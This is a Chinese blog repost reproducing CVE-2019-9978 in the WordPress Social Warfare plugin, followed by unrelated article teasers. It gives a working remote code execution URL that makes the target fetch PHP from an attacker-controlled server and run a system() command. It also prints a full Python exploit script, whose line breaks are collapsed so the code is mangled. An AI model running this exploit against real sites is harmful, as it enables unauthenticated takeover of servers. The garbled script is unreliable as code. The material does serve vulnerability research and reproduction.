WordPress social-warfare插件XSS和RCE漏洞【CVE-2019-9978】

WordPress social-warfare插件XSS和RCE漏洞

~~
漏洞编号 : CVE-2019-9978
影响版本 : WordPress social-warfare < 3.5.3
漏洞描述 : WordPress是一套使用PHP语言开发的博客平台,该平台支持在PHP和MySQL的服务器上架设个人博客网站。social-warfare plugin是使用在其中的一个社交平台分享插件,其3.5.3之前版本存在跨站脚本攻击(XSS)和远程代码执行(RCE)漏洞。远程攻击者可借助这些漏洞,运行任意PHP代码,在无需身份验证的情况下实现对网站和服务器的控制。
攻击成功的条件只需要如下两条:
目标wordpress站点上安装有social-warfare
social-warfare插件的版本小于或等于3.5.2

该漏洞源于Social Warfare组件,并且版本<=3.5.2、且要是管理员登录状态,因此该漏洞是个后台代码执行
漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/
利用需一台能够被访问的vps

安装好WordPress后,把social-warfare组件起用(点Activate后,会变成Settings,并在左侧目录下出现Social Warfare子目录)
在这里插入图片描述

*RCE:

http://10.37.129.2:48904/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.100.1/1.txt

1.txt 为自己服务器上的文件可编辑执行命令
内容为:

system('cat /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS0/flags')

剪切远程加载的代码逻辑如下,

xxxxx
会去掉
,如果不包含这2个标签会返回false

poc

# Title: RCE in Social Warfare Plugin ( <=3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Version: <= 3.5.2
# CVE: CVE-2019-9978import sys
import requests
import re
import urlparse
import optparseclass EXPLOIT:VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"def __init__(self, _t, _p):self.target  = _tself.payload = _pdef engage(self):uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )r = requests.get( uri )if r.status_code == 500:print "[*] Received Response From Server!"rr  = r.textobj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))if obj:resp = obj.groups()[0]if resp:print "[<] Received: "print resp.replace( "lnbreak", "\n" )else:sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")else:sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")else:sys.exit( "[~] Unexpected Status Received!" )def main():parser = optparse.OptionParser(  )parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )parser.add_option( ''  , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )(options, args) = parser.parse_args()print "[>] Sending Payload to System!"exploit = EXPLOIT( options.target, options.payload )exploit.engage()if __name__ == "__main__":main()

XSS

构造payload

在这里插入图片描述
访问
在这里插入图片描述
管理员在面表盘访问 social-warfare 就会触发xss
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/2160.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AIGC元年大模型发展现状手册

零、AIGC大模型概览 AIGC大模型在人工智能领域取得了重大突破&#xff0c;涵盖了LLM大模型、多模态大模型、图像生成大模型以及视频生成大模型等四种类型。这些模型不仅拓宽了人工智能的应用范围&#xff0c;也提升了其处理复杂任务的能力。a.) LLM大模型通过深度学习和自然语…

SpringBoot学习路线推荐

以下是一个基本的 Spring Boot 学习路线&#xff1a; 1. 基础知识&#xff1a;了解 Java 基础、面向对象编程和设计模式。 2. Spring Boot 概述&#xff1a;学习 Spring Boot 的核心概念和优势。 3. 开发环境设置&#xff1a;配置 IDE 和相关工具。 4. 创建项目&#xff1a;使…

yolov8下实现绿萝识别

目录 一:背景 二:过程 一:背景 上一节我们学习了yolov8自带模型的使用,这一节我们讲解下yolov8的数据训练,生成模型来识别绿萝。 二:过程 1:数据准备,我们可以自己收集绿萝的图片,最起码需要准备几百张的图片。我们这里通过网络下载图片保存到一个目录等待处理。 …

Thinkphp封装统一响应

前言 我们平时开发新项目api接口的时候总是要先自定义自己的响应数据格式&#xff0c;但是每个人的风格习惯不同&#xff0c;导致开发人员封装的响应数据格式不统一&#xff0c;而且需要花时间去重复写。本篇文章主要是统一 API 开发过程中「成功」、「失败」以及「异常」情况…

MSR是个什么寄存器

MSR 这种寄存器专门用于调试、程序执行跟踪、计算机性能监控、简化软件编程、电源控制等等各种实验性功能。 什么是 MSR MSR 的概念是不易理解&#xff0c;所以这一节只说一些 MSR 的外在&#xff0c;比如形容和指令等&#xff0c;然后展开说说&#xff0c;看完整篇文章你应该…

计算机视觉 CV 八股分享 [自用](更新中......)

目录 一、深度学习中解决过拟合方法 二、深度学习中解决欠拟合方法 三、梯度消失和梯度爆炸 解决梯度消失的方法 解决梯度爆炸的方法 四、神经网络权重初始化方法 五、梯度下降法 六、BatchNorm 七、归一化方法 八、卷积 九、池化 十、激活函数 十一、预训练 十二…

【uniapp】 合成海报组件

之前公司的同事写过一个微信小程序用的 合成海报的组件 非常十分好用 最近的项目是uni的 把组件改造一下也可以用 记录一下 <template><view><canvas type"2d" class"_mycanvas" id"my-canvas" canvas-id"my-canvas" …

RT-Thread电源管理组件

电源管理组件 嵌入式系统低功耗管理的目的在于满足用户对性能需求的前提下&#xff0c;尽可能降低系统能耗以延长设备待机时间。 高性能与有限的电池能量在嵌入式系统中矛盾最为突出&#xff0c;硬件低功耗设计与软件低功耗管理的联合应用成为解决矛盾的有效手段。 现在的各种…

UniApp 中的路由魔法:玩转页面导航与跳转

正文&#xff1a; 路由在移动应用开发中是一个至关重要的概念&#xff0c;它决定了用户在应用中导航的方式&#xff0c;以及页面之间的跳转和传参方式。在 UniApp 中&#xff0c;路由配置也有其独特的特点和用法。本文将深入探讨 UniApp 中的路由配置&#xff0c;带你领略其中…

排序算法之桶排序

目录 一、简介二、代码实现三、应用场景 一、简介 算法平均时间复杂度最好时间复杂度最坏时间复杂度空间复杂度排序方式稳定性桶排序O(nk )O(nk)O(n^2)O(nk)Out-place稳定 稳定&#xff1a;如果A原本在B前面&#xff0c;而AB&#xff0c;排序之后A仍然在B的前面&#xff1b; 不…

NIO之非阻塞模式

NIO支持非阻塞模式&#xff0c;以网络连接和网络数据传输为例。如果使用阻塞模式&#xff0c;ServerSocketChannel在调用accept等待客户端建立连接是阻塞的&#xff0c;没有连接就一直阻塞。从Channel中读取客户端传送的数据也是阻塞的&#xff0c;没有数据就一直阻塞。当我们开…

Kotlin语法快速入门--条件控制和循环语句(2)

Kotlin语法入门–条件控制和循环语句&#xff08;2&#xff09; 文章目录 Kotlin语法入门--条件控制和循环语句&#xff08;2&#xff09;二、条件控制和循环语句1、if...else2、when2.1、常规用法2.2、特殊用法--并列&#xff1a;2.3、特殊用法--类型判断&#xff1a;2.4、特殊…

C语言进阶课程学习记录-第48课 - 函数设计原则

C语言进阶课程学习记录 - 函数设计原则 本文学习自狄泰软件学院 唐佐林老师的 C语言进阶课程&#xff0c;图片全部来源于课程PPT&#xff0c;仅用于个人学习记录

无人驾驶 自动驾驶汽车 环境感知 精准定位 决策与规划 控制与执行 高精地图与车联网V2X 深度神经网络学习 深度强化学习 Apollo

无人驾驶 百度apollo课程 1-5 百度apollo课程 6-8 七月在线 无人驾驶系列知识入门到提高 当今,自动驾驶技术已经成为整个汽车产业的最新发展方向。应用自动驾驶技术可以全面提升汽车驾驶的安全性、舒适性,满足更高层次的市场需求等。自动驾驶技术得益于人工智能技术的应用…

Linux i2c-tool工具基础使用

一.i2cdetect i2cdetect 是一个用户空间程序&#xff0c;用于扫描 I2C 总线上的设备。它输出一个表格&#xff0c;其中包含指定总线上检测到的设备列表。以下是 i2cdetect 的使用方法&#xff1a; 运行扫描&#xff1a; 要执行 I2C 扫描&#xff0c;请使用以下命令&#xff1…

解决Java Heap Space问题的排查与优化方法

引言&#xff1a; 在 Java 开发中&#xff0c;经常会遇到 “java heap space” 错误&#xff0c;这意味着程序需要更多的堆内存来执行所需的操作。本文将介绍如何排查和解决这个问题&#xff0c;并提供一些优化方法&#xff0c;以避免类似的错误发生。 1. 确认错误信息 当遇到…

端口被占用的解决方案汇总

端口被占用的解决方案汇总 【一】windows系统端口被占用【二】Linux系统端口被占用【三】Linux的ps命令查找&#xff08;1&#xff09;ps命令常用的方式有三种&#xff08;2&#xff09;ps -ef |grep 8080 【一】windows系统端口被占用 &#xff08;1&#xff09;键盘上按住Wi…

【LeetCode刷题记录】21. 合并两个有序链表

21 合并两个有序链表 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 示例 2&#xff1a; 输入&#xff1a;l1 [], l2 …

# MySQL中的并发控制,读写锁,和锁的粒度

MySQL中的并发控制&#xff0c;读写锁&#xff0c;和锁的粒度 并发控制的概述 在数据库系统中&#xff0c;并发控制是一种用于确保当多个用户同时访问数据库时&#xff0c;系统能够提供数据的一致性和隔离性的机制。MySQL支持多种并发控制技术&#xff0c;其中包括锁机制、多…

密码学系列4-选择密文安全,同态加密安全性

本章将介绍Cramer-Shoup加密方案,并证明其安全性。最后讨论了同态加密方案的安全性证明 一、Cramer-Shoup加密 密钥生成 1.定义群 G G G,群的阶为 q q q,选取群的生成元